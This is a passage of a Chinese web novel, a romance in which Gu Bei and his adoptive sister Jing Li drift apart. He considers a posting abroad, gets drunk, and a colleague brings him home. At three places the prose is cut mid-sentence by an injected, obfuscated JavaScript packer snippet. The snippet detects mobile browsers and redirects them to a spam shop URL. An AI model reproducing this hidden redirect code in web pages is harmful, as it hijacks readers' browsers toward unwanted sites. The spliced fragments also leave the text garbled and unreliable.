哪来的俩。 顾北一时没反应过来,等他回味出荆梨的意思,不禁轻笑:“我让她走了。” 屋里陷入长久的沉默。 “我订的是你最爱吃的那家餐厅,有你喜欢的芥末虾和意面,你要是不饿的话那我就不客气了……” 他话还没说完,房门被突然打开,荆梨看也没看他,径直朝餐厅的方向走去。 只不过在看见地上的拖鞋时,她的脚步停顿了一下。 “给她穿这双拖鞋是我不对,以后这种低级错误哥哥不会再犯了。” 身后响起男人低沉的嗓音。 可荆梨并不领情,她继续朝前走,撂下冷淡的一句:“你的承诺我已经不敢再信了。” 顾北闻言一怔,眸光随之黯淡。 二人各怀心事,一顿饭吃下来竟一句话也没说。 经过这段时间的休养,荆梨扭伤的脚踝好得差不多了,除了不能跑步和蹦跳,走起来与寻常无异。 收拾完桌上的残羹冷炙,顾北拿出喷雾帮她喷最后一遍药,嘴里还不忘叮嘱她以后洗澡一定要注意脚下。 望着男人认真的侧脸,荆梨低声道:“既然我的脚已经好了,那以后就不需要你再来接我上下学了。” 顾北动作一顿,抬眸沉沉地望向她。 荆梨低睫不看他,表现得若无其事:“我还像以前那样自己打车,你早上还能多睡会。” “觉得我妨碍到你的自由了?” 男人沉默半晌,忽然冒出这么一句。 荆梨感到莫名,不明白这二者之间有什么关系。 但很快她就理解了顾北的意思——他的接送妨碍到她下课出去玩了。 荆梨无力辩解,索性破罐破摔:“是有点。” 顾北起身,居高临下地看着她:“随你。” 说罢,准备回屋。 脚刚迈出一步,他听到女孩又对他说:“我觉得辛小姐人挺好的。” 顾北眉头轻皱,扭头瞥向她,不懂她这突然的转折是什么意思。 荆梨冲他笑笑:“如果她做我的嫂子,我没什么意见。” 顾北霎时沉下脸,语气冰冷,哑声问:“你到底要干什么?” 荆梨耸肩,一脸无辜:“我没要干什么呀。” “不想我结婚的是你,现在暗示我结婚的还是你。”男人腮颊鼓动,显然在强忍怒火,“荆梨,你到底要我怎么做才能满意?” “那天破坏你相亲是我做的不对,我不懂事。”荆梨顿了顿,眼里一片猩红,她深吸口气,尽量让自己的声音听起来是正常的,“结婚本来就是你自己的事,我没资格插手,我知道错了,以后不管你是相亲还是恋爱,我都举双手赞成。” 话音落地,空气陷入死一般的寂静。 四目相对,顾北眼里猩红一片,胸膛上下起伏,他就这么直勾勾地盯着她,眸光浮动,眼神竟透出令人揪心的破碎。 荆梨淡淡移开视线,唇却抿得很紧,微微颤抖。 “砰”一声,男人将门关得格外响。 他少有的情绪外泄。 荆梨强装的平静瞬间消失。 她双眼无神地垂耷着,下一秒,抬手捂住自己的脸,身子往后一倒,整个人陷进沙发里。 眼泪无声地沁润指缝。 在看到顾北与辛恬一起出现在厨房时,有一个她一直不愿面对,却疯狂折磨着她的念头逐渐明晰,令她难以继续忽视。 其实从那晚顾北在她床边许下一辈子守着她的承诺开始,这个念头就产生了。 那就是……放过顾北。 顾北也该有他自己的人生。 如果真像他说的那样,一辈子不结婚,陪着她,守着她,孤独终老,那对他来说,实在太残忍了。 他们从一开始就不是一路人,命运偏偏将他们绑在一起,像两块不匹配的拼图,若她偏要强求,那结果注定有一人要残缺。 她不要顾北过得不好。 所以痛苦,所以遗憾,所以不得不……放手。 回归普通的兄妹关系,看着他与别人组成自己的小家,往后漫长的人生不再孤单。 对她而言,何尝不是另一种幸福。 - 那天之后,二人开始了一场没头没脑的冷战。 说不清缘由和对错。 就是莫名地减少了交流。 或许也有年末将至的原因。 设计院项目进度催紧,学校期末加上服装设计大赛。 二人忙得像不停旋转的陀螺,沿着各自的轨迹朝前走,只有在夜晚才能短暂交汇。 可即便在客厅碰到了,顾北出声前荆梨便会转身走开,姿态比陌生人还要冷淡。 盯着女孩的背影,脑海中划过她漠然的眼神,顾北感觉心脏仿佛被狠狠剜下了一块,血淋淋的,呼吸都牵扯着疼。 他当然能感受到荆梨在故意远离他。 但原因是什么? 难道仅仅因为那双拖鞋吗。 还是因为……他借着酒醉偷来的吻。 思及此,顾北脸上弥漫出痛苦茫然的神色,恍惚呆立许久,他才慢慢缓过神。 时间一晃来到十二月,设计大赛的初赛结果也出来了,荆梨以高分的成绩顺利进入下一赛段,在一众大一的选手中脱颖而出,成为夺冠的热门人选。 别的选手一般都是先设计衣服,再寻找模特,上场前根据模特的身形改改尺寸。 模特的功能只剩展示,像没有灵魂的衣架子。 这便是荆梨与他们产生区别的所在。 她设计的衣服和她模特的气质高度契合。 易梓薇身量娇小,五官甜美,性格外向,是典型的高能量高磁场的小美女。 她不需要精致繁杂的束缚,“野蛮生长”这四个字便能概括她的独特。 秉持着这一特性,荆梨亲手为她做了身轻盈的粉色露肩蓬蓬裙,搭配自然野生感妆容, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14049641|141594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 简单披散长发,哪怕她连正经台步也不会走,只要像只小蝴蝶般自信出场,就能吸引全场目光,让人不自觉跟随她的一举一动,再也挪不开眼。 当评委老师公布成绩的那一刻,后台这边,易梓薇尖叫着抱住荆梨,接着又仰脸大哭,抽抽搭搭地说:“吓死我了,我好怕拖累你,把你做的裙子给穿丑了呜呜呜……” 荆梨哭笑不得,安慰她:“好了好了不哭了,这不多亏易大小姐出山,不然我还拿不到这么高的分呢。” 她说的实话,初赛中艺术性和创新性比她高的作品并不少,但他们的模特都不如易梓薇穿得好看,她拿的分里也有讨巧的部分存在。 易梓薇听不进去,哭起来没完没了,引得周围人投来不满的视线。 有个叫蒋茜的选手许是因为分比较低,擦着线进入的复赛,心里正不痛快呢,再被易梓薇一吵,顿时烦躁不已,阴阳怪气地说:“不就初赛拿了个最高分嘛,得意什么呀,万一复赛被刷掉不得哭晕过去。” 场面微微凝滞。 荆梨兴味地挑了挑眉,暗道什么鬼热闹找上门了。 不等她出手,刚还哭成泪人的易梓薇瞬间收声,叉腰怼回去:“你也知道我们拿最高分啊,听你这口气,你分应该也挺高的吧,说出来吓死我啊。” 蒋茜脸一红:“你!” 易梓薇哼了声,鼻孔看人,一脸小人得志,mean得人拳头发痒。 荆梨憋笑,赶忙拉着人从后台跑了,生怕晚一步易梓薇就会被围殴。 同一时间,设计院最大的会议室内刚结束一场研讨会。 顾北收拾好面前的资料,起身正要走,却被领导留了下来。 “小顾啊,有件事想询问一下你的意见。”周工示意他坐下。 顾北微微颔首:“询问不敢当,您有事直接吩咐就成。” 周工笑了笑,将一份文件递给他:“你先看看这个。” 顾北闻言翻开文件夹,看到上头的内容后,表情微变。 “在埃塞俄比亚首都建一栋疾控中心大楼,国家重点援非项目。” 顾北点点头,看向他:“您的意思是?” 周工也不跟他拐弯抹角了:“除你之外我实在找不出第二个可以胜任此项目的总负责人。” 顾北垂眸,没吭声。 周工继续道:“你才三十不到,年轻又有才华,出去历练一番,把这个项目做好,回来后职级直升总设计师。” 瞧出男人的迟疑,周工微微后仰,手指敲了敲桌面,问:“你是有什么顾虑吗?如果涉及钱的话,那不算问题。” “跟钱没关系。”顾北问,“一期项目结束要多少年?” 周工:“起码三年。” 顾北阖上眼,抬手摘下眼镜,捏了捏高挺的鼻梁,嗓音染着疲惫:“我妹妹今年刚上大学,我这一走她怎么办?我放心不下。” 周工见他是因为妹妹才迟迟不答应,不由失笑道:“孩子都成年了,你有什么好放心不下的,每个月寄笔钱,过年过节买点礼物哄一哄,再说了,现在的小孩都有自己的主意,巴不得没人管呢。” “我家那个小孩不一样。”顾北叹声说。 “哪不一样?” 顾北默了默,眸光微黯,嘶哑道:“她生气了就哄不好了。” 44.疏离 chapter 44 周工闻言并不当回事,摆手笑道:“嗨,小孩子忘性大,哪能真跟自己的哥哥生气啊。” 顾北弯了弯唇,没搭腔。 周工又指向文件,试探说:“那这事你……” 顾北低眸,沉吟片刻,先不把话说死:“这也不是件小事,您让我回去好好想一想。” 周工敛眉,正色说:“行,那你元旦之后给我答复吧,明年开春项目就要启动,留给我们的时间不多了。” 顾北点头,和周工道别后走出会议厅。 回办公室的路上,他一直在走神,狭长的眼眶中弥漫着化不开的郁结。 他推开办公室的门,看见辛恬站在里头,眉头瞬间收紧,质问道:“谁让你进来的?” 他本就因驻外一事而烦心不已,现下撞见女生又一次不经他同意擅闯他的空间,男人的态度显而易见的差。 辛恬瑟缩了一下,紧张地说:“我是来给您送文件的,您不在,我见门没关就,就进来等了……” 顾北沉沉地扫她一眼,越过她在办公椅坐下,看着桌上新出现的一沓文件,没碰,嗓音略沉:“出去吧。” 话落,久久没听见门关上的声响。 顾北拧眉抬眸,冷声问:“还有事吗?” 辛恬不好意思地将藏在身后的东西拿出来:“我特别感谢顾老师给我的实习成绩打高分,这是我精挑细选的小礼物,不值什么钱,但却是我的一份心意,希望您能收下。” 顾北看向那个用丝带装饰的钢笔盒,眼神凌厉:“我想你应该是误会什么了,我给你打高分完全是因为这段时间你的表现确实不错,实事求是而已,不基于任何私人情感。” 辛恬神色一慌,赶忙促声解释:“我当然知道顾老师不是那种人,我是看您平时用的那支钢笔外壳都变形掉漆了,就单纯地想送支新的给您。” 女生一脸真诚,表情无辜,一副被误解的可怜样。 顾北太阳穴突突直跳,他压着心口的烦躁,目光直视着她,肃声敲打:“比起做这些多余的事,不如多花点心思在工作上。” 辛恬默了默,随即落寞地垂下眼,攥着笔盒的手慢慢捏紧。 顾北翻开文件,不再将注意力分给她,顺势拿起自己那支旧钢笔,宝蓝色的漆面在灯下折射温润的光。 “东西拿回去,我不会收的。”他说,“行了,没什么事就出去吧。” 辛恬咬唇,感受到男人即将用尽的耐心,眼圈泛红:“好。” 等人一走,顾北停下翻阅纸张的动作,淡淡看向手里的钢笔,指腹下意识摩挲笔身上快要斑驳的文字。 Velut Arbor aevo 拉丁文,意为“像参天大树一样成长”。 是维尔纽斯大学的校训。 这支钢笔是他拿下人生第一座奖杯时,荆梨为他特别定制的。 她是如此的懂他。 明白他从一棵即将夭折的小树长成参天大树的不易。 即便在他经久的把握下外壳已然破损变形,他仍然舍不得换新的。 因钢笔的缘故,和荆梨的那些美好回忆如电影般在脑海中放映,紧接着又转换成对方最近冷淡疏离的模样。 强烈的落差与不清不楚的酸楚,折磨着他的心神。 他可以克制自己对她变了质的感情,却自私地无法接受对方不再需要他。 如果他答应驻外,三年不回来,荆梨会不会就此和他彻底生分,直至变成最熟悉的陌生人…… 思及此,顾北心口微窒,身体后仰靠上椅背,黑眸沉沉,视线无焦地注视着天花板,喉骨滞涩滚动。 正在他心烦意乱时,搁在桌面上的手机发出“嗡嗡”的震响。 他偏头看过去,瞧见亮起的锁屏界面跳出今夜的消息通知。 心头一动,他伸手取来手机,点开软件。 果不其然,是荆梨发来的私信。 【我通过初赛了,还拿了全场最高分。】 顾北看着她用平淡的话语说出了不起的事情,不禁眸光浮动,眼尾漾出温柔的笑意。 433:【恭喜,好厉害。】 他们上次对话已经是两周前的事了。 自从察觉女孩在刻意躲避他,顾北便借着433这个身份打探过她的近况,试图找到她态度转变的症结所在。 可荆梨却表现得极为正常,甚至连一丝负面的情绪都不曾传递给他。 他不死心,主动提起她和哥哥的关系如何,问她这段时间怎么不在今夜更新哥哥的画像了。 荆梨给他的回答是:最近太忙了,没时间更新。 顾北不死心地追问,似要抓住些什么:那忙完这阵还会继续更新吗? 荆梨:可能不会了。 顾北心一沉:为什么?画腻他了? 荆梨过了好长的时间才回复他。 ——嗯,画腻了,不想再画他了。 顾北忘了当时看见这条消息时的反应,只记得自己格外狼狈。 仿佛长久以来的骄傲一瞬间失去了承载的力气。 他的存在也没了意义。 很奇怪,很可怕。 直到很久很久以后,顾北才明白为什么会产生那种感觉。 因为爱上一个人,就是自卑与怯懦的开始。 …… 愣神间,手机再一次振动。 荆梨:【待会和朋友去庆祝一下。】 顾北深吸口气:【怎么不跟你哥哥一起庆祝?】 荆梨:【我都没告诉他我参加比赛的事。】 顾北嘴角牵起一抹苦涩的笑,慢吞吞地,一个字母一个字母地敲击道:【告诉他吧,他一定很为你骄傲。】 荆梨:【算了,他工作挺忙的,就不让他分神了。】 男人眸光一瞬间黯然,心头的无力感让他不知道该如何聊下去,只能匆匆结束对话,熄灭屏幕。 “渐行渐远”这个成语在此时具象化。 顾北起身走到落地窗前。 黑夜逐渐漫长,还不到六点,天色已然变暗。 面对窗外城市的琳琅灯火,男人背影宽阔,形容萧瑟,透着令人心疼的孤寂。 - 荆梨刚放下手机,滚烫的火锅底料就被端了上来。 易梓薇二话不说将一盘土豆倒进锅里,接着夹了块小酥肉,边吃边说:“下周就是复赛了,时间好紧啊,你有想法了吗?” 荆梨给自己倒酸梅汤,耸耸肩:“暂时还没有。” 看起来一点也不着急。 但她属于那种嘴上说没复习好害怕,但靠前偷偷复习的类型,所以易梓薇闻言并不担心,鼓励道:“加油,以你的才华复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14074510|141594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赛绝对没问题的!” 荆梨笑笑,不置可否。 面对擅长的东西,她有十足的把握,自信到甚至令人觉得狂妄,也因此极容易得罪人,导致朋友稀少。 也就易梓薇钝感力强,不在意她有些“讨人厌”的特质。 “对了,这周六晚上陆檀约我出去见面。” 吃到一半,易梓薇低声说。 闻言,荆梨好不容易夹起来的丸子掉在桌上,她淡淡抬眸,隔着热腾的雾气,女孩轮廓有些模糊,但能感觉出她在笑。 “见面地点定在哪儿?”荆梨放下筷子,态度认真起来。 “一家叫‘梦出口’的酒吧,我看过内部照片,可漂亮了。”易梓薇笑道。 荆梨挑眉:“第一次见面就领你去酒吧?” 易梓薇观察着好友的脸色,小心翼翼地解释:“他好歹也是个小明星,出去吃饭被拍到的话对他影响不好,这个酒吧是他朋友开的,说是私密性很好,他还想顺便介绍他的朋友们给我认识。” 荆梨越听眉头皱得越紧:“我不放心,听起来有点不太安全,你和他第一次线下约会,不找个公共场合,却约在他自己的地盘……总之怪怪的。” 易梓薇抿了抿唇,闻言心里也有点打鼓。 “那我把酒吧的地址还有包间号提前发你,万一遇到不对劲的地方,我就给你打电话。” 荆梨点头:“他要是做出任何令你感到不舒服或者抗拒的行为,立马打给我。” 易梓薇比了个“OK”的手势:“一定!” 吃完火锅,两人并未各自乘车回家,而是沿着林荫道散步聊天,顺道消消食。 “咦,感觉好久没见到顾北哥了,他这段时间很忙吗?”易梓薇问。 荆梨笑容收敛,轻松的氛围稍稍沉落。 “挺忙的。”她不愿深聊,有意略过关于顾北的话题。 敏锐察觉异样,易梓薇倾身凑到她面前,大眼睛扑扇两下,语气八卦:“又和顾北哥吵架了?” 荆梨一愣:“什么叫又,我经常和他吵架吗?” 说完她停顿了一下,面上划过心虚的神色。 她好像,似乎,确实,总是单方面和他闹别扭。 但前提是她的爱得不到回应,便想通过这种方式和他赌气撒娇。 顾北稍微主动低下头,过来哄哄她,她就好了。 而现在……她已经选择克制对顾北的感情,重新回归正常的兄妹关系了。 “经常。”易梓薇笑道,“有时候我都觉得你俩跟热恋期的小情侣似的,发生点小摩擦就黏黏糊糊,别别扭扭的。不像我和我表哥,他要是惹我生气了我只想一巴掌抽死他。” 易梓薇说得开心,却没注意到荆梨微变的神色。 原来,在外人眼中,她和顾北之间的氛围这么暧昧啊…… 边散步边聊天就会不自觉走很久,等二人反应过来时,她们正身处某条不知名的街道。 易梓薇实在走不动了,停下打车。 等车来的时候,荆梨不经意回头,视线扫到不远处两道蹲着的身影。 她神情微怔,盯着那两人看,眸光逐渐深邃。 只见身着灰色毛呢大衣的顾北单手扶着花坛,表情不适,脸色呈现出不正常的潮红。 而蹲在他身侧,满脸担忧的女生,不是辛恬还能是谁。 45.梦呓 chapter 45 易梓薇顺着荆梨的视线望过去,也瞧见了那两人,她眨了眨眼,脱口道:“那不是顾北哥嘛。” “他怎么在这里?他身边那个女生是谁啊?” 荆梨收回视线,长睫颤抖着垂敛,掩盖眸中的落寞。 夜风寒凉,挤进肺里,激得她忍不住轻咳,眼眶染上红意。 易梓薇反应过来忙帮她顺背。 荆梨缓缓呼了口气,嗓音低哑:“不知道。” 不知道。 她什么也不想知道。 许是她的反应太过冷淡,仿佛撞见的不是哥哥,而是一个无足轻重的陌生人。 易梓薇抿了抿唇,歪头小心翼翼地去看她的表情。 却见荆梨神色平静,眼神甚至有些空洞,瞧不出任何的情绪起伏。 易梓薇心头略过一丝怪异,总觉得荆梨的状态不太对劲。 这兄妹俩到底是闹了多大的矛盾啊…… 另一边,辛恬抽出随身的纸巾递给男人:“顾老师,你觉得还好吗?” 顾北皱着眉,想吐却吐不出来,火烧一样的痛苦从胃一路灼至喉管,刺激得他眼尾猩红,本就形状多情的凤眼更添昳丽。 他忽略女生的好意,浑身泄力般跌坐在地上。 工整的领带被他粗鲁地单手扯松,打理得当的额发也失去了形状,碎落在额前随风轻扬。 顾北支着膝盖,□□,醉眼迷离地盯着地面,眸光黯然,一言也不发。 辛恬目光柔软,心疼地看着他,心脏触动不已。 喝醉之后的男人看起来很正常,又哪哪都透着支离破碎的脆弱。 她好想问问他,到底在烦忧着什么,竟然在下班后独自到酒吧把自己喝成这副模样。 她今晚遇到顾北纯属巧合。 好久不见的大学舍友来梧城出差,她尽地主之谊请对方吃晚饭。 之后一起来到这条街上最有名的酒吧叙旧,结果就看见了独自坐在二层角落喝闷酒的顾北。 发现他时,他桌上那一整瓶烈性洋酒已经快见底了。 到底是遇到了什么样的事情,让一向冷静自持的男人选择用酒精麻痹自己。 思及此,辛恬忍不住伸出手,想要帮他拂去眉间深深的褶皱,却在即将碰触的刹那被他挡开。 “被碰我。”顾北斜睨着她,眼神刺骨。 对上他的视线,辛恬被烫到一般猛地缩回手:“对不起,我看你很难受的样子,想……” 顾北敛下眸,嗓音沙哑粗沉:“已经下班了,我不用你管,你走吧。” 辛恬苦涩地抿了下唇:“既然下班了,那我们可以暂时放下上下级的关系,平等的交流一次吗。” 空气里响起一声低嗤,顾北似是听到了什么天大的笑话:“我和你没什么好交流的。” “辛恬。” 他语气太冷,冷到足以熄灭任何暧昧。 “就当我自作多情了,我警告你一句,别对我动心思,我不会喜欢你的。” 他不傻,看得出来这段时间辛恬那些献殷勤的行为,根本不是出于属下对领导的讨好,而是出于对心仪异性的好感。 他是没谈过恋爱,但由于这张脸,女人的青睐就没断过,他分得清崇拜和爱慕的眼神。 辛恬紧咬下唇,眼里泛起泪光,她不死心地问:“我能知道为什么吗,我是哪里不好吗?” 顾北闭了闭眼,神思被酒精麻痹,他缓了好一会儿才从晕眩中抽出些许的清醒,哑声说:“跟你没关系,是我的问题。” 辛恬不明白,她还没从被拒绝的惊慌挫败中反应过来,匆忙想寻到一个理由:“难道你已经有喜欢的人了?” 她只能浅显地想到这一层,但恰恰戳中了顾北的心事。 男人哑然,眸中划过转瞬即逝的幽暗。 长久的静默。 无声胜有声。 辛恬鼻尖一酸,盯着他深沉的侧脸,哽咽道:“你很喜欢她。” 顾北依旧沉默。 他自己也答不上来。 因为当辛恬问出刚才那句话时,他脑海里唯一浮现的,是荆梨的脸。 她的一举一动,宜喜宜嗔的笑容,稚嫩到成熟的五官,从胆战心惊的小丫头到如今有脾气又自信张扬的少女。 她成长的每一步,都有他存在的痕迹。 她是他亲手娇养出来的玫瑰。 荆梨把他当亲人,他却卑劣地生出了占有她的欲望。 这样的感情不配称之为喜欢。 他不配。 “我喜欢谁都跟你没关系。”顾北捏了捏胀痛的额角,心里烦躁不堪,“我把话已经说开了,你走吧。” 辛恬吸了吸鼻子,还是不肯就此放弃:“我不走,我得把你送回家。” 说罢,她起身去拉男人的手臂。 顾北终于爆发出藏在疏离外表下的阴暗,他甩开她的手,猩红着眼怒吼道:“滚开!” “哎哎哎,你谁啊你?大庭广众之下强抢民男啊!” 观察半天的易梓薇突然跑了过来,她张开双臂挡在摇摇晃晃的顾北面前,一脸警惕地瞪着辛恬,将对方当成了在酒吧门口“捡尸”的女流氓。 辛恬怔在原地,有些受伤地看向男人,丝毫没把注意力分给易梓薇。 荆梨面无表情地走过来,她拨下易梓薇的手臂,淡声解释:“薇薇,她是我哥的同事。” 易梓薇表情诧异,她顿了顿,尴尬地冲辛恬讪笑两声:“对不起啊这位姐姐,我误会了,我还以为你是坏人呢。” 辛恬回过神,这才发现荆梨也在,她整理好心情,笑容看着却有些勉强:“没事,我怕顾老师喝醉了坐在路边不安全,就想扶他上车,送他回去。” 闻言,荆梨的目光总算落到顾北身上。 似有所感,男人也在这时抬起头,二人四目相对,荆梨心尖猝不及防地颤动了一下。 那双被酒气熏染的迷离黑眸好似蕴藏着无限的委屈,眼巴巴地望着她,令人心软不舍。 荆梨停顿了一下,眸光微闪,随即将视线冷漠地移开。 易梓薇听到辛恬要送顾北回去,唇角扬起笑,问她:“正好荆梨也要回家,姐姐方便带上她一起吗?” 荆梨皱起眉,压着声阻止她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14098520|141594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“不必了,我可以打车,别麻烦人家。” “哎呀顺路的事,顾北哥喝成这样,你路上不得照顾着点,万一吐姐姐车里多不好意思啊。”易梓薇看向辛恬,甜声说,“是吧姐姐。” 辛恬点点头,对荆梨说:“是啊荆梨,跟我一块走吧。” 两双眼睛纷纷望向她,荆梨面色稍沉,再拒绝下去就显得刻意了。 “好。”她不太乐意地点头答应。 易梓薇帮她一块将意识模糊的顾北扶到轿车后座。 荆梨没有跟着上去,而是走到前面副驾的位置,正要拉开车门,却被易梓薇重新揽了回去,推着塞进后座。 易梓薇一把甩上车门,不给荆梨逃下来的机会:“坐前面干嘛,顾北哥那么难受,你在他旁边看着他点。” 荆梨隔着车窗忿忿地瞪了她一眼,暗道这丫头怎么力气变这么大。 不等她坐稳,下一秒,顾北长臂一伸,搂住她的腰就缠了上来,滚烫的呼吸落在她颈侧,带着浓郁的酒气和无法忽视的男性荷尔蒙,引起她心口阵阵的酥麻涟漪。 荆梨浑身僵硬,目光直视前方,血液都被烘热了,根本不敢看他。 顾北闭着眼,酒精已经侵袭了他的意识,世界此刻对他来说颠倒而不真切,只有怀里的女孩是真实存在的。 他必须紧紧抱住她,如同落水的人抱住唯一可以救命的浮木,喃喃地低吟出声:“小梨……” 他知道他现在抱着的是谁。 荆梨眼眶热意上涌,她用力抿着唇,撇过脸望向窗外,空气安静无声,她听见自己急速加剧的心跳, 她狼狈地意识到,自己根本做不到放下对他的感情。 她的身体和心脏比她的嘴要诚实。 主驾的辛恬透过后视镜将二人动作尽收眼底。 她呼吸蓦地一顿,眉头轻蹙。 车辆启动之后再没人说话,车厢里只顾北稍显沉重的鼻息。 视线昏暗,路灯透过梧桐树叶在柏油马路上印出斑驳光影,携着草木腥气的晚风从半降的车窗吹到面上,混乱的思绪稍稍平静,荆梨低头看向靠在她肩头的男人,目光温柔,手不受控地抬起,将他乱掉的额发轻轻拂开,露出英挺的眉眼。 没想到下一刻,顾北忽然掀开眼皮,黑眸沉沉地与她交缠。 荆梨一怔,心跳微滞,不自觉失了神。 “小梨。”他嗓音嘶哑地在她耳边轻唤,语调低绻,似午夜梦回的梦呓。 荆梨耳根一麻,长睫颤了颤,没吭声,浑身似泡在温泉里,白皙的面庞泛起粉色。 顾北喉结滞涩滚动,随话语吐出的气息灼热无比,带着馥郁的酒气,她觉得自己也要醉了。 “你不要不理我。” 男人像在自言自语,语气却染着近乎卑微的祈求,还有一点微不可察地颤抖。 “你不理我,我感觉快要死了一样。” 话落的瞬间,荆梨鼻头轻耸,眼前顿时爬上雾气,视线模糊,差点落下泪。 她死死咬着唇,原本强硬的坚持就这么被轻易击碎了。 毫无原则可言。 她确实太好哄了。 46.偷吻 chapter 46 辛恬将车停稳,先一步走下车,她拉开后座车门,想要搭把手将顾北扶下来,可刚拽住男人的衣服就被他甩开了。 她手滞在半空,眼睁睁看着顾北赖在荆梨身上,从另一边下了车。 辛恬手指微蜷,面上露出转瞬即逝的落寞。 电梯不断上升,清醒的两个人谁都没有讲话。 淡淡的尴尬在空气里弥散。 辛恬站在前面,背影高挑而挺拔,却透着不易察觉的僵硬。 透过电梯门的反光,她看向身后缩在角落的兄妹俩。 荆梨微垂着脑袋,乌黑柔顺的长发披散在身前,冷调的光线下,她本就白皙的皮肤愈显苍白,衬得眉眼漆黑浓烈,长睫似鸦羽低伏,在眼下透出小片的阴影。 她的眼型是圆润的杏仁状,瞳仁又大又黑,不做任何表情的时候,有种清纯中带着森森冷意的独特气质。 在她颈侧就是顾北被醉意浸染的脸。 凤眸直鼻,五官深邃立体,下颌线棱角分明,面部折叠度很高。 这两张脸,除了同样漂亮之外,毫无任何其他的共性。 真的亲兄妹吗…… 即便是同母异父,也不至于找不出半点相像的地方吧。 许是她偷窥的意图太过强烈,荆梨似有所感,忽然抬眸,视线与她在反光的电梯门上相撞。 辛恬目光躲闪,不太自然地偏过头,盯着跳动的楼层数字,整个人显而易见的紧张。 荆梨不明就里地挑了下眉,没放在心上。 指纹解锁开门后,荆梨扛着顾北的胳膊,艰难地把人扔到沙发上,自己则脱力一般向后倒进一旁的单人椅里,大口喘着气。 顾北沾到软垫,还以为在床上,他翻身摊开身体,闭着眼摸到抱枕,给自己垫在了脖子底下。 荆梨看见他的小动作不由撇嘴轻笑。 还真是一点苦都舍不得吃。 没听到身后传来关门的声音,她扭头看向门口,瞧见辛恬还站在外面,神情犹豫,一副想进去又不太敢的样子。 荆梨叹息一声,起身走到玄关处,对她说:“进来吧,喝口水再走也不迟。” 辛恬面露惊讶,没想到女孩竟然会挽留她。 毕竟在她印象里,顾北这个妹妹对她应该是没什么好感的。 “那麻烦了。” 她礼貌地颔首,走进来关上门,再转身,看见荆梨将那双熟悉的粉色卡通拖鞋搁在她脚边。 “穿这个吧。”荆梨说完就径直去了厨房,路过沙发时连一秒都没有停留。 辛恬换上拖鞋,有些拘谨地将手提包放在玄关的置物柜上,随后轻手轻脚地走到顾北跟前。 男人眉头紧蹙,身上散发出浓烈的酒气,露在空气中的皮肤呈现异样的红色,胸膛随着粗重的呼吸而剧烈起伏,能瞧出来他极为难受。 辛恬心下不忍,弯腰帮他把紧扣的领口解开,起码能让呼吸通畅一点。 刚解开第一颗扣子,顾北就睁开了眼,他目光迷离,只见一道纤瘦的身影罩在自己上方,长发垂落,看不清面容,似乎在唤他的名字。 他下意识把对方错认成荆梨,用力攥住她的手,扯着往自己滚烫的脸上贴,喉咙溢出沙哑的喘息,落在耳朵里格外地性感。 “宝宝,哥哥好热啊……” 话落的瞬间,辛恬僵在原地,双眼瞠大,诧异地盯着酒后撒娇的男人,一时忘了反应,任由对方把脸贴在掌心。 顾北的那声宝宝…… 叫的是荆梨吧。 辛恬眸中情绪几度变换,喉头发紧,心里泛滥着难以言喻的酸楚。 不喜欢她就算了,好心送他回家却凶巴巴地叫她滚开。 结果把她错认成妹妹后又露出与平日完全不同的一面。 是只有面对荆梨时才会展现的一面。 也是她无法拥有的一面。 辛恬越想越觉得自取其辱,她挣扎着抽出自己的手,顾北却以为荆梨要离开自己,抓得更紧更用力,甚至扯着她往怀里带,语气急促道:“哥哥错了,别折磨我了……” 辛恬又难过又难堪,她冷声提醒他:“顾北你看清楚我是谁!” 男人闻言动作一顿,醉醺醺的目光直直地落在她脸上。 四目相对,顾北迟钝地皱了皱眉,似是在疑惑为什么妹妹突然间变成了另一个人。 可不等他想明白,忽然一阵强烈的呕吐感直窜脑门,他连忙侧过身,朝着地板的方向吐了出来。 辛恬躲闪不及,长裙被波及,手上身上沾了不少呕吐物。 荆梨端着煮好的茶刚走到客厅,正巧看到这一幕。 空气凝滞,场面安静下来。 “我俩差不多瘦,你穿着应该能合身。” 浴室门口,荆梨把自己不常穿的一套旧睡衣递进去。 “谢谢。”辛恬伸手接过,望着门板上女孩若隐若现的身影,语气抱歉:“不好意思啊荆梨,给你们添麻烦了。” 荆梨垂眸:“我哥把你衣服吐脏了,是我们给你添麻烦了才对。” 她停顿了一下,又说:“你的裙子我放洗衣机里洗了,现在时间太晚,你今晚就在客房睡下吧。” 辛恬愣了愣:“不用了,我洗完澡就离开……” 荆梨打断她:“客房平时阿姨都会打扫,很干净的,你放心吧。” 辛恬:“我不是在纠结这个……” 荆梨:“那你纠结什么?” 辛恬哑然。 荆梨把门关上,声音隔着门板传进来:“你洗吧,台上的沐浴用品都可以用。” 